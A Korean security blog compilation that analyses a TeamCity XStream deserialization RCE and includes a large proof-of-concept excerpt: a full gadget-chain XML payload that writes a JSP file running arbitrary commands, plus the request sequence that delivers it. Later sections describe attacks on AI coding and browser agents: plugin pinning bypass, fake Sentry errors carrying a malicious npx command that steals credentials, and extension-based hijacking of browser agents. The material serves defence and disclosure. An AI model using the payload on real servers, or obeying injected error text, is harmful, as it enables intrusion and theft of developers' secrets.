1. 취약점

[사진 1] CVE-2026-63077 [1]

- 인증되지 않은 에이전트 요청 처리 과정에서 XStream의 타입 허용 목록 설정이 불완전하여, 인증되지 않은 공격자가 객체 생성 및 역직렬화 과정에서 호출되는 메서드와 콜백을 조합하여 원격 명령 실행이 가능한 취약점 (CVSS: 9.8) [2]

> 해당 취약점을 랜섬웨어 공격에 악용하고 있어 즉각적인 대응이 필요

영향받는 버전
- TeamCity 2026.1.3 이전 버전
- TeamCity 2025.11.7 이전 버전

2. 상세분석

2.1 Root cause

- XStream 설정 시 기존 기본 허용 타입(Default Permissions)을 명시적으로 제거하지 않고, 커스텀 허용 목록(Allowlist)만 추가한 것이 주원인

> XStream은 Java 객체를 XML로 직렬화(Serialization)하거나, 반대로 XML을 자바 객체로 역직렬화(Deserialization)하는 데 사용하는 자바 라이브러리로, TeamCity는 Agent Polling Protocol을 통해 서버와 통신하며, 이때 XStream을 사용 [3]

> allowTypeHierarchy()는 지정한 타입뿐만 아니라 해당 타입의 하위 클래스나 구현체(상속 또는 구현)에 대해 역직렬화 권한을 부여

> Map, Throwable 등 다양한 구현 클래스 및 하위 클래스를 포괄하는 권한이 포함되어 있어, 객체 생성 및 역직렬화 과정에서 호출되는 메서드와 콜백을 조합하여 원격 명령 실행으로 이어지는 체인을 구성할 수 있음

// ./webapps/ROOT/WEB-INF/lib/xstream.jar
package com.thoughtworks.xstream;

public class XStream {
// ...

protected void setupSecurity() {
  if (this.securityMapper == null)
    return; 
  addPermission(NoTypePermission.NONE);          // <--- Clears all existing permissions
  addPermission(NullPermission.NULL);
  addPermission(PrimitiveTypePermission.PRIMITIVES);
  addPermission(ArrayTypePermission.ARRAYS);
  addPermission(InterfaceTypePermission.INTERFACES);
  allowTypeHierarchy(Calendar.class);
  allowTypeHierarchy(Collection.class);
  allowTypeHierarchy(Map.class);                 // <--- Map is allowed
  allowTypeHierarchy(Map.Entry.class);
  allowTypeHierarchy(Member.class);
  allowTypeHierarchy(Number.class);
  allowTypeHierarchy(Throwable.class);           // <--- Throwable is allowed
  allowTypeHierarchy(TimeZone.class);
  // ...

 

2.2 취약점 악용

- 먼저 서버는 /app/agents/v1/register 엔드포인트로 전송되는 HTTP POST를 통해 에이전트 등록 요청을 수락하고, 응답 헤더 TeamCity-AgentSessionId를 통해 세션 식별자 반환

- 이어서 공격자는 발급받은 세션 식별자와 가젯 체인(Gadget Chain)을 포함한 XML을 /app/agents/v1/commands/error 엔드포인트로로 HTTP POST 요청을 전송

> handleCommands 메서드는 TeamCity-AgentSessionId 헤더 검증 후 error 명령 처리를 위해 handleCommandIsFailedRequest 메서드 호출

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;
private ModelAndView handleCommands(
          HttpServletRequest request,
          HttpServletResponse response,
          String[] path) throws Exception {
      String sessionId = request.getHeader("TeamCity-AgentSessionId");
      BuildAgentEx agent =
          sessionId != null ? findAgentBySessionId(sessionId) : null; // <--- validate agent session ID
      // This check occurs before the vulnerable handler is reached.
      if (agent == null) {
          response.setStatus(401);
          response.getWriter().write("Agent's session is not found");
          return null;
      }
      PollingRemoteAgentConnection connection =
          (PollingRemoteAgentConnection) agent.getConnection();
      if (path.length == 4) {
          String operation = path[3];
          if (operation.equals("error")) {
              getCommandsProcessor().handleCommandIsFailedRequest(
                  connection, request, response
              ); // <--- call the error handler
          }
      }
      return null;
  }

 

> handleCommandIsFailedRequest 메서드에서 가젯 체인이 포함된 XML이 역직렬화되어 인증되지 않은 공격자가 원격 코드 실행이 가능

// ./webapps/ROOT/WEB-INF/lib/web-core.jar
package jetbrains.buildServer.controllers.agentServer;

abstract class AbstractAgentCommandsRequestsProcessor implements AgentCommandsRequestsProcessor {
// ...

public void handleCommandIsFailedRequest(
        PollingRemoteAgentConnection connection,
        HttpServletRequest request,
        HttpServletResponse response) throws IOException {
    Error error = Error.fromXml(
        StreamUtil.readTextFrom(request.getReader())
    ); // <--- deserialize attacker's XML

    // ...
}

 

2.3 Gadget Chain

- Gadget Chain이란 기존 코드 조각(Gadget)들을 서로 연결하여 공격자가 원하는 명령을 실행하게 만드는 공격 기법 [5]

[사진 2] 취약점 악용을 위한 Gadget Chain

구분 객체/클래스 역할
Entry 1 HSQLMetadataStorage$SchemaMismatchException BasicDataSource로 이어지는 객체 그래프의 시작점
outer-class SchemaMismatchException의 바깥 클래스 HSQLMetadataStorage 객체 참조
HSQLMetadataStorage 내부 myHSQLStorage 필드를 통해 HSQLStorage로 연결
HSQLStorage 내부 myDataSource 필드를 통해 BasicDataSource로 연결
BasicDataSource 공격자가 설정한 JDBC DataSource 객체
이후 getConnection()이 호출되면서 가젯 체인 동작
Entry 2 HashAdapter BasicDataSource의 JavaBean 속성을 FreeMarker를 통해 조회할 수 있도록 연결
BooleanModel BasicDataSource 객체를 BeanModel 형태로 감싸 JavaBean 속성 접근을 가능하게 함
BeanModel.object Entry 1에서 생성된 BasicDataSource 객체 참조
HashAdapter.model BooleanModel 객체를 참조하여 속성 조회 경로 구성
BeansWrapper JavaBean의 메서드/속성을 분석하여 connection 속성을 getConnection()으로 연결
Entry 3 HashSet TiedMapEntry를 삽입하는 과정에서 자동으로 hashCode()를 호출하여 가젯 체인을 실행시키는 트리거
TiedMapEntry "connection" 키와 HashAdapter를 연결하여 속성 조회 유발
TiedMapEntry.map Entry 2의 HashAdapter 참조
TiedMapEntry.key connection 문자열을 지정하여 getConnection() 호출 유도
실행 트리거 HashSet.add() TiedMapEntry를 HashSet에 추가하면서 hashCode() 호출
TiedMapEntry.hashCode() getValue()를 호출하여 HashAdapter.get("connection") 실행
TiedMapEntry.getValue() 연결된 Map에서 connection 속성 조회
HashAdapter.get("connection") BooleanModel을 통해 BasicDataSource의 connection 속성을 조회
BasicDataSource.getConnection() 실제 JDBC 연결을 생성하면서 공격자가 설정한 connectionInitSqls 실행

 

2.4 JSP 페이로드 실행

- JspController.doHandle() 메서드는 내부 요청, 인증된 사용자의 요청, 직접 JSP를 요청하는 명시적 파라미터가 존재하지 않으면 JSP가 실행되기 전에 HTTP 403 오류를 반환

> TeamCity의 WEB-INF/web.xml에는 *.jspws 확장자를 Apache Jasper의 서블릿으로 직접 매핑해두어 인증 검사 단계를 거치지 않고 서블릿으로 요청이 전달

> 공격자는 Gadget Chain을 이용해 웹 루트에 JSPWS 파일을 생성하고, 두 번째 요청을 통해 JSPWS 파일에 접근

// web-core.jar!jetbrains.spring.web.JspController

public class JspController extends BaseController implements CustomUrlHandler {
    protected ModelAndView doHandle(@NotNull HttpServletRequest httpServletRequest, @NotNull HttpServletResponse httpServletResponse) throws IOException, ServletException {
// ...
if (!RequestStackCalculationInterceptor.isInnerRequest(request)
        && SessionUser.getUser(request) == null
        && !TeamCityProperties.getBoolean(
            "teamcity.jsp.directRequests.allowed"
        )) {
    response.setStatus(403);
    response.getWriter().write("Access denied");
    return null;
}

 

2.5 PoC

- 가짜 Agent를 등록해 TeamCity-AgentSessionId를 획득한 후 악성 XML을 전송하여 XStream 가젯 체인 실행 및 생성한 .jspws 파일을 호출해 서버에서 명령 실행 [6]

def build_registration_xml() -> bytes: # 가짜 Agent 등록 XML 생성
    ...

def build_jsp_scriptlet(
    jsp_path: str, guard: str, response_token: str, command: str
) -> str: # JSPWS 파일에 삽입할 명령 실행 코드 생성
    scriptlet = f"""
        <%
          if (application.getAttribute({java_string(guard)}) == null) {{
            application.setAttribute(
              {java_string(guard)},
              java.lang.Boolean.TRUE
            );
            java.nio.file.Files.deleteIfExists(
              java.nio.file.Path.of(
                application.getRealPath({java_string(jsp_path)})
              )
            );
            java.lang.Runtime.getRuntime().exec({java_string(command)});
            out.print({java_string(response_token)});
          }}
        %>
    """
    return " ".join(
        line.strip() for line in textwrap.dedent(scriptlet).splitlines()
        if line.strip()
    )


def build_payload(webroot_relative: str, command: str) -> tuple[bytes, str, bytes]: # Gadget Chain이 포함된 XML 생성
    if not webroot_relative or any(
        character in webroot_relative for character in "\x00\r\n"
    ):
        raise ValueError("webroot-relative must be a non-empty single line")
    if not command or any(character in command for character in "\x00\r\n"):
        raise ValueError("cmd must be a non-empty single line")

    (
        file_id,
        guard,
        response_token,
        database_name,
        table_id,
        column_id,
        *map_keys,
    ) = random_tokens(9)

    filename = f"{file_id}.jspws"
    jsp_uri = f"/{filename}"
    normalized_webroot = webroot_relative.replace("\\", "/").rstrip("/")
    if not normalized_webroot:
        raise ValueError("webroot-relative must identify a directory")
    output_path = f"{normalized_webroot}/{filename}"

    table_name = f"T{table_id.upper()}"
    column_name = f"C{column_id.upper()}"
    jsp = build_jsp_scriptlet(jsp_uri, guard, response_token, command)
    init_sql = (
        f"CREATE TABLE IF NOT EXISTS {table_name}({column_name} VARCHAR(4000))",
        f"INSERT INTO {table_name} VALUES ({sql_string(jsp)})",
        f"SCRIPT {sql_string(output_path)}",
    )

    payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
  <entry>
    <string>{map_keys[0]}</string>
    <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
      <outer-class>
        <myHSQLStorage>
          <myDataSource>
            <defaultTransactionIsolation>-1</defaultTransactionIsolation>
            <cacheState>true</cacheState>
            <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
            <lifo>true</lifo>
            <maxTotal>8</maxTotal>
            <maxIdle>8</maxIdle>
            <minIdle>0</minIdle>
            <initialSize>0</initialSize>
            <maxWaitMillis>-1</maxWaitMillis>
            <poolPreparedStatements>false</poolPreparedStatements>
            <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
            <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
            <testOnCreate>false</testOnCreate>
            <testOnBorrow>true</testOnBorrow>
            <testOnReturn>false</testOnReturn>
            <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
            <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
            <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
            <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
            <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
            <testWhileIdle>false</testWhileIdle>
            <password/>
            <url>{xml_text(f'jdbc:hsqldb:mem:{database_name}')}</url>
            <userName>SA</userName>
            <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
            <connectionInitSqls>
              <string>{xml_text(init_sql[0])}</string>
              <string>{xml_text(init_sql[1])}</string>
              <string>{xml_text(init_sql[2])}</string>
            </connectionInitSqls>
            <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
            <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
            <logExpiredConnections>true</logExpiredConnections>
            <autoCommitOnReturn>true</autoCommitOnReturn>
            <rollbackOnReturn>true</rollbackOnReturn>
            <fastFailValidation>false</fastFailValidation>
            <connectionProperties/>
            <closed>false</closed>
          </myDataSource>
          <myStopped>false</myStopped>
          <myDatabaseOpen>false</myDatabaseOpen>
        </myHSQLStorage>
      </outer-class>
    </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  </entry>

  <entry>
    <string>{map_keys[1]}</string>
    <freemarker.ext.beans.HashAdapter>
      <wrapper>
        <sharedIntrospectionLock/>
        <classIntrospector>
          <exposureLevel>0</exposureLevel>
          <exposeFields>false</exposeFields>
          <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
          <incompatibleImprovements>
            <major>2</major>
            <minor>3</minor>
            <micro>0</micro>
            <intValue>2003000</intValue>
            <calculatedStringValue>2.3.0</calculatedStringValue>
            <hashCode>0</hashCode>
          </incompatibleImprovements>
          <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
          <shared>false</shared>
          <sharedLock reference="../../sharedIntrospectionLock"/>
          <cache/>
          <cacheClassNames/>
          <classIntrospectionsInProgress/>
          <modelFactories/>
          <clearingCounter>0</clearingCounter>
        </classIntrospector>
        <falseModel>
          <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
          <wrapper reference="../.."/>
          <value>false</value>
        </falseModel>
        <writeProtected>false</writeProtected>
        <defaultDateType>0</defaultDateType>
        <methodsShadowItems>true</methodsShadowItems>
        <simpleMapWrapper>false</simpleMapWrapper>
        <strict>false</strict>
        <preferIndexedReadMethod>true</preferIndexedReadMethod>
        <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
      </wrapper>
      <model reference="../wrapper/falseModel"/>
    </freemarker.ext.beans.HashAdapter>
  </entry>

  <entry>
    <string>{map_keys[2]}</string>
    <set>
      <org.apache.commons.collections.keyvalue.TiedMapEntry>
        <map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
        <key class="string">connection</key>
      </org.apache.commons.collections.keyvalue.TiedMapEntry>
    </set>
  </entry>

</linked-hash-map>
""".encode("utf-8")
    return payload, jsp_uri, response_token.encode("utf-8")
 
    ...

    try:
        status, headers, body = request( # Agent 등록 → TeamCity-AgentSessionId 획득
            f"{base}/app/agents/v1/register",
            timeout=args.http_timeout,
            body=registration,
            headers={"Content-Type": "application/xml"},
        )
        session = headers.get("teamcity-agentsessionid")
        ...

        command_status, _, command_body = request( # 악성 XML 전달 → XStream 역직렬화 및 가젯 체인 실행
            f"{base}/app/agents/v1/commands/error",
            timeout=args.http_timeout,
            body=payload,
            headers={
                "Content-Type": "application/xml",
                "TeamCity-AgentSessionId": session,
                "TeamCity-AgentCommandId": command_id,
            },
        )

         # 생성된 JSPWS 요청 → JSP 실행
        jsp_status, _, jsp_body = request(
            f"{base}{jsp_path}", timeout=args.http_timeout
        )
        ...

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [7][8]

> NoTypePermission.NONE으로 기존 권한을 초기화한 후 Allowlist를 적용

> 업데이트가 불가한 경우 공식 Security Patch Plugin을 적용 [9]

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-63077 TeamCity 2026.1.3 미만 버전 2026.1.3
2025.11.7 미만 버전 2025.11.7

 

- TeamCity 서버 프로세스에 최소 권한 부여 및 서버 분리

- TeamCity 서버가 인터넷에 직접 노출되지 않도록 접근 제한

- 신뢰 가능한 네트워크에서만 TeamCity 서버에 접근 가능하도록 방화벽 또는 ACL 구현

- TeamCity Agent Polling 관련 엔드포인트로 유입되는 비정상 요청과 XML 기반 역직렬화 공격 패턴등을 WAF 모니터링

- 서버 로그 점검

> com.thoughtworks.xstream.converters.ConversionException, com.thoughtworks.xstream.security.ForbiddenClassException 등 역직렬화 과정과 관련된 예외

> 의심스러운 요청, 비정상적인 JSP 파일 생성 여부 점검

4. 참고

[1] https://nvd.nist.gov/vuln/detail/cve-2026-63077
[2] https://www.rapid7.com/blog/post/ra-unauthenticated-rce-in-jetbrains-teamcity-cve-2026-63077/
[3] https://x-stream.github.io/
[4] https://x-stream.github.io/javadoc/com/thoughtworks/xstream/XStream.html#allowTypeHierarchy-java.lang.Class-
[5] https://kr.linkedin.com/pulse/deserialization-what-heck-actually-gadgetchain-florian-walter-gylcf?tl=ko
[6] https://github.com/sfewer-r7/CVE-2026-63077
[7] https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/
[8] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=1&bbsId=B0000133&searchWrd=jetb&menuNo=205020&pageIndex=1&categoryCode=&nttId=72155
[9] https://blog.jetbrains.com/teamcity/2026/07/cve-2026-63077/#mitigation-option-2-apply-the-security-patch-plugin
[10] https://www.dailysecu.com/news/articleView.html?idxno=208600

1. Plugin4Shell

- Claude Code, OpenAI Codex, GitHub Copilot, Gemini CLI 등은 AI 코딩 에이전트로, SHA pinning 방식으로 사용 버전을 고정

> 특정 시점에 검토한 플러그인의 깃 커밋 해시(40자 16진수)로 고정하여, 고정 이후 코드가 변경되어도 고정된 버전만 실행 가능하며, 무결성을 보장

 

- 에이전트가 고정된 커밋을 내려받은 뒤 내려받은 코드가 지정된 커밋과 일치하는지 검증하지 않아, 악성코드 실행이 가능한 Plugin4Shell 취약점 발견 [1][2][3]

> Claude Code, OpenAI Codex는 설치된 플러그인을 백그라운드에서 업데이트하는 것이 기본 설정이어서, 이미 설치한 신뢰 플러그인이 설치 절차 또는 알림 없이 교체될 수 있음

> 단, 해당 공격은 공격자가 플러그인 저장소를 완전히 통제해야 성립 가능

구분 설명
정상 플러그인 등록 후
악성 코드로 변경


① Claude Code, Codex, GitHub Copilot
 ⒜ 정상 플러그인 등록
   - 공격자는 정상적인 플러그인을 마켓플레이스에 등록하고 SHA Commit A 지정

 ⒝ 사용자 배포 및 신뢰 확보
   - 사용자들이 마켓플레이스를 통해 해당 플러그인을 설치 및 실행

 ⒞ 버전 업데이트
   - 공격자는 버전 업데이트를 제출하며, 마켓플레이스는 새로운 SHA Commit B 지정
 ⒟ 악성 브랜치 생성 및 주입

   - 공격자는 해당 저장소에서 SHA Commit B와 동일한 이름을 가진 악성 브랜치를 생성
   - 악성 브렌치를 저장소의 기본 브랜치로 지정
    ※ 이름이 유효한 참조(Ref/Branch)이자 객체 ID(Commit SHA) 모두에 해당할 때, 
         Git은 참조(Branch)를 우선시하며 refname is ambiguous 경고만 출력한 채
         브랜치를 체크아웃
    ※ GitHub은 40자리 Hex 브랜치 이름을 거부하지만, 
         Bitbucket이나 자체 호스팅(Self-hosted) Git 서버는 이를 허용
         Anthropic 공식 문서에서도 Bitbucket 및 Self-hosted Git을
         유효한 마켓플레이스 백엔드로 명시하고 있어 공격이 유효

 ⒠ 자동 업데이트를 통한 악성코드 내려받기
   - AI 에이전트의 백그라운드 업데이트 동작을 통해 악성 브랜치를 내려받아 실행
   - 실제 내려받은 Commit이 고정된 SHA와 일치하는지 검증하지 않아 악성 브랜치의 내용이 설치·실행됨
   - 별도 동작 없이 백그라운드 업데이트 과정에서 공격이 수행되어 Zero-Click RCE로 이어질 수 있음

② Gemini CLI
 ⒜ Gemini CLI의 설치 세 단계 예시
    git clone --depth 1 <plugin repo> ./  : 지정한 저장소에서 최신 커밋 1개만 복제
    git fetch origin <COMMIT_SHA>     : 고정된 SHA를 가져옴
    git checkout FETCH_HEAD             : FETCH_HEAD를 checkout

 ⒝ 공격자가 자신의 저장소에 FETCH_HEAD를 이름으로 가지는 악성 브랜치 생성 및 기본 브랜치로 지정

 ⒞ git checkout FETCH_HEAD 명령 실행으로 악성 브랜치를 받아
   - 저장소의 기본 브랜치 이름 자체가 FETCH_HEAD이면, checkout은 해당 브랜치로 해석

  ⒟ 악성 플러그인 실행 
   - 실제 내려받은 Commit이 고정된 SHA와 일치하는지 검증하지 않아 악성 플러그인이 실행
플러그인 저장소 탈취 - 공격자가 다른 사람의 플러그인 저장소를 탈취한 뒤 Plugin4Shell를 통해 악성 버전 강제 설

 

- 벤더사 대응 및 대응 방안

구분 설명
벤더사 대응 - Claude Code : 2.1.179 버전에서 해당 문제 수정
- OpenAI Codex : 0.146.0 버전에서 해당 문제 수정
- GitHub Copilot : 아직 수정 패치를 배포하지 않음
- Gemini CLI : 지원 종료에 따른 수정 계획 없음 및 Antigravity로 마이그레이션 권
대응 방안 - 벤더사 업데이트 적용
> GitHub Copilot의 경우 필요한 플러그인만을 남겨 사용 범위 최소화 및 가시성 확보

- 현재 사용중인 플러그인에 대한 가시성 확

- 대상 저장소에 40자 16진수 형태의 브랜치 이름이 존재하는지 확인
> git ls-remote --heads <저장소 URL>

- 실제로 내려받은 Commit의 SHA가 고정된 SHA와 일치하는지 검증
> test "$(git rev-parse HEAD)" = "<pinned-sha>" || abort

- 에이전트 실행 로그 또는 터미널 출력에서 "refname is ambiguous" 점검

2. Agentjacking

- AI 코딩 에이전트의 신뢰 메커니즘을 악용해 악성 코드를 실행하는 Agentjacking 공격 기법 발견 [4][5]

구분 설명
공격 과정

① Sentry DSN (Data Source Name) 키 확보
- Sentry : 오류 추적 및 겅능 모니터링을 제공하는 APM (Application Performance Monitoring) 플랫폼
- Sentry DSN : 애플리케이션이 에러 이벤트를 보낼 프로젝트를 찾도록 지정해주는 값 [6]
> 해당 값이 같으면 누구나 임의의 에러 이벤트를 전송할 수 있음
> 웹 사이트 소스 코드, HTTP Body 등에서 쉽게 획득 가능

② 가짜 에러 요청 전송
- Sentry MCP 서버가 AI 에이전트에 반환하는 정상 템플릿과 동일한 형식의 가짜 오류 페이로드 POST 전송
- ## Resolution 섹션에 악성 npx 명령을 삽입

③ 악성 명령 실행
- 개발자가 오류 분석 등의 요청할 경우, 에이전트는 MCP를 통해 오류 이벤트 조회 및 악성 명령 실행
- 환경 변수, AWS 키, 깃허브 토큰, Git 자격증명, Sentry 인증 토큰 등 민감정보 탈취
대응 방안 - DSN 키 교체 및 보안 강화
- 에러 로그 직접 검토
- MCP 외부 노출 점
- AI 에이전트 실행 가이드라인 수립
- AI 시스템과 개발 환경 간 격리 및 접근 통제 강화
참고 - EDR, WAF, IAM, VPN, 방화벽 등 기존 보안 통제 장치 모두 우회
> 공격 과정의 모든 요청이 정상적 DSN 인증을 기반으로 하며, AI 에이전트가 자체적으로 명령을 실행하기 때문에 승인된 의도(Authorized Intent Chain)로 분류

- Sentry는 문제를 인정했지만 플랫폼 차원에서 방어하기가 기술적으로 어렵다는 입장
> 외부 입력을 MCP 도구로 전달하는 모든 AI 에이전트 생태계에서 발생할 수 있는 구조적 문제

3. BragJack

- Chrome, Edge, Perplexity Comet, Opera Neon, Claude in Chrome 브라우저의 내장 AI Agent를 크롬 확장프로그램 하나로 탈취할 수 있는 BragJack 공격 기법 발견 [7][8][9]

> 브라우저 내장 AI Agent는 사용자 명령을 이해하고 판단하는 제어부(Brain)와 클릭, 파일 접근, 캡처 등 브라우저 기능은 실행부(Body)로 구분

> 공격자는 DiNneR Serving 기법을 통해 보안 헤더를 조작하고, 악성 JavaScript로 리다이렉트하여 AI Agent에 악성 명령 전달

구분 설명
공통

- DiNneR Serving 기법을 통해 보안 헤더를 조작하고, 정상 JavaScript를 악성 JavaScript로 리다이렉트
> DNR(Declarative Net Request, 선언형 네트워크 요청) : 확장 프로그램이 브라우저의 네트워크 요청을 가로채고, 수정하거나 차단할 수 있도록 돕는 API  [10]
> DNR을 악용해 요청을 가로채고, 선언된 규칙을 통해 보안 헤더를 조작 및 정상 JavaScript를 악성 JavaScript로 리다이렉트

- declarativeNetRequest 및 https://*/* 권한을 가진 악성 확장 프로그램 이용
{
  "manifest_version": 3,
  "name": "BragJack",
  "version": "1.0",
  "permissions": ["declarativeNetRequest"], - 확장 프로그램이 선언적 규칙을 통해 네트워크 요청을 차단 또는 수정할 수 있는 권한 부여
  "host_permissions": ["https://*/*"], - 확장 프로그램이 모든 HTTPS 웹사이트에 대한 접근 권한 허용
  "declarative_net_request": {
    "rule_resources": [
      { "id": "glic", "enabled": true, "path": "glic_rules.json" },
      { "id": "comet", "enabled": true, "path": "comet_rules.json" },
      { "id": "neon", "enabled": true, "path": "neon_rules.json" },
      { "id": "egde", "enabled": true, "path": "egde_rules.json" },
      { "id": "claude", "enabled": true, "path": "claude_rules.json" },
    ]
  }
}
브라우저별 익스플로잇 ① Chrome Gemini Live (CVE-2026-0628, CVSS: 8.8) [11]
 ⒜ AI Agent 구조
  - 브라우저 내부의 chrome://glic Body와 WebView 기반 gemini.google.com Brain 구조
  - 정상적인 경우 일반 확장 프로그램은 chrome:// URL에 접근할 수 없음
 ⒝ DNR을 이용한 우회
  - 불필요한 정상 JavaScript를 공격자가 제어하는 JavaScript로 리다이렉션
  - content-security-policy 헤더를 제거하는 등 보안 헤더를 수정
 
② Microsoft Edge Actions (CVE-2026-55945, CVSS: 4.2) [12]
 ⒜ AI Agent 구조
  - chrome:// URL기반 Body와 iFrame 기반 copilot.microsoft.com Brain 구조
  - frame-ancestors를 통해 *.microsoft.com, *.bing.com를 제외한 임의 사이트에서 iFrame으로 로드되는 것을 차단
 ⒝ CSP 우회
  - frame-ancestors에 https://*.com를 추가하여 모든 웹사이트에서 삽입할 수 있도록 함
 ⒞ Gesture Token 우회
  - debugger 권한 설정을 통해 클릭/입력 이벤트를 생성해 실제 사용자 동작과 동일한 클릭 이벤트 발생
 ⒟ Think / Do Race Condition
  - Prompt를 처리하는 Think Mode(실제 Action 수행 제한)
  - 실제 브라우저 작업을 수행하는 Do Mode(새로운 Prompt 입력 제한)
  - Think Mode에서 악성 Prompt 전달 후 Agent가 Prompt를 처리하는 순간 Do Mode 전환

③ Perplexity Comet
 ⒜ AI Agent 구조
  - 신뢰할 수 있는 웹사이트인 perplexity.ai에서만 명령을 받도록 설계
  - perplexity.ai는 확장 프로그램이 실행되지 않도록 완전 차단
 ⒝ Test 도메인 악용
  - 다른 도메인과 달리 보안이 약한 testing.perplexity.com이 존재하며, 접근 시 perplexity.ai로 리다이렉션
  - Location 헤더를 제거하는 DNR 규칙을 적용하여 testing.perplexity.com 로드 유지

④ Opera Neon
 ⒜ AI Agent 구조
  - opera.com 도메인에서만 오는 요청을 수락하며, opera.com은 확장 프로그램이 코드 실행 가능
 ⒝ DNR을 이용한 우회
  - CSP 헤더를 제거하고, 백그라운드에 숨겨진 iFrame을 생성
 ⒞ Prompt-Forcing
  - 공격자가 직접 프롬프트에 악성 명령을 전달

⑤ Claude in Chrome
 ⒜ AI Agent 구조
  - 자체가 확장 프로그램으로, claude.ai에 Content Script를 실행하여 Claude Side Panel과 통신
 ⒝ DOM 조작
  - data-task-prompt에 프롬프트를 삽입하고, click()이벤트를 발생시켜 프롬프트 전달
  - debugger 권한을 이용하여 사용자 Gesture가 필요한 경우 이를 우회

 

- 대응방안

> 브라우저 확장프로그램 허용목록 운영

> 불필요한 확장프로그램 설치 차단

> AI 에이전트의 로컬 파일 접근 최소화

> 카메라·마이크 권한 제한

> 메일·문서·업무용 서비스 접근권한 최소화

> 크롬·엣지 등 브라우저 최신 버전 유지

4. 참고

[1] https://www.air.security/blog-posts/plugin4shell
[2] https://www.skshieldus.com/security-insights/trends/%60eqstnow-plugin4shell-ai-plugin-bypass
[3] https://www.dailysecu.com/news/articleView.html?idxno=208552
[4] https://tenetsecurity.ai/blog/agentjacking-coding-agents-with-fake-sentry-errors/
[5] https://www.boannews.com/news/articleView.html?idxno=144117
[6] https://docs.sentry.io/concepts/key-terms/dsn-explainer/
[7] https://forever.security/blog/bragjack-attack-hijacks-every-browser-agent

[8] https://forever.security/blog/bragjack-hijacking-5-browsers-via-built-in-ai-assistants
[9] https://www.dailysecu.com/news/articleView.html?idxno=208558
[10] https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest?hl=ko
[11] https://nvd.nist.gov/vuln/detail/cve-2026-0628
[12] https://nvd.nist.gov/vuln/detail/cve-2026-55945

요약 - 클라우드플레어의 컨테이너 서비스에서 이전 고객의 데이터를 읽을 수 있는 취약점 발견
- 삭제된 컨테이너의 디스크 공간을 재사용하면서 이전 데이터 일부가 남는 문제로, 현재는 수정이 완료된 상태
내용 - 클라우드플레어의 컨테이너 서비스에서 한 고객이 같은 서버를 먼저 사용한 다른 고객의 데이터를 읽을 수 있는 취약점이 발견
> 현재 실행 중인 서비스에 침입한 것이 아니라, 삭제된 컨테이너의 디스크 공간을 재사용하면서 이전 데이터 일부가 남는 문제
> 클라우드플레어는 9월 24일 이를 공개하고 전체 서버에 대한 수정과 정리를 마쳤다고 발표

- 영향을 받은 서비스는 고객의 프로그램을 실행하는 ‘클라우드플레어 컨테이너’와 이를 기반으로 외부 코드를 격리 실행하는 ‘클라우드플레어 샌드박스’
> ‘브라우저 런’도 같은 디스크 구성을 사용해 영향을 받았다고 설명했으나, 클라우드플레어는 공식 발표에서 이 제품을 별도로 언급하지 않음

- 원인 : 재사용하는 저장 공간을 새 고객에게 배정하기 전에 지우는 기능이 꺼져 있었던 것
> 서버는 디스크 공간을 64킬로바이트씩 나눠 관리
> 새로 배정된 공간에 4킬로바이트만 기록하고 전체 공간을 읽자, 나머지 부분에서 이전 컨테이너의 데이터가 확인
> 복구된 자료에는 폴더 구조와 데이터베이스 페이지 등이 포함
> 환경설정 파일과 인증정보 파일 형태의 자료도 발견

- 실제 운영 환경에서 시험한 24회 중 18회에 남은 데이터를 확인
> 24개 고객 계정의 정보가 유출됐다는 뜻은 아니며, 공격자가 서버나 피해 고객을 지정할 수도 없었음
> 다른 고객에게 배정됐던 저장 공간의 내용을 읽을 수 있었다는 점에서 고객 간 데이터 격리가 깨진 사례

- 클라우드플레어
> 저장 공간을 새로 배정할 때 기존 내용을 지우도록 설정을 바꾸고, 이전 설정으로 만들어진 실행 중 디스크와 서버의 이미지 캐시까지 정리
> 보유한 디스크 활동 기록에서 같은 수법을 사용한 흔적을 찾지 못함

- 다만 취약한 설정이 언제부터 적용됐는지는 공개되지 않아 과거 노출 가능 기간은 알 수 없음
기타 -

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208612
[2] https://blog.cloudflare.com/containers-cross-tenant-vulnerability/

요약 - 샤이니헌터스, 오라클 PeopleSoft를 대상으로 WAF을 우회해 웹셸 유포
- 해당 취약점은 보안 업데이트가 발표 되었으나, 프로그램을 수정하지 않고 웹 방화벽 규칙만 적용한 서버들이 표적이됨
내용 - 샤이니헌터스, 오라클 PeopleSoft를 노려 WAF을 우회해 서버에 웹셸 유포
> 지난 6월 보안 업데이트가 나왔지만, 프로그램을 수정하지 않고 웹 방화벽 규칙으로만 공격을 막으려 했던 서버들을 대상으로 함
> 취약한 환경관리허브(PSEMHUB) 경로를 막아 둔 방화벽 규칙을 우회하도록 공격 코드를 고쳤다고 밝힘
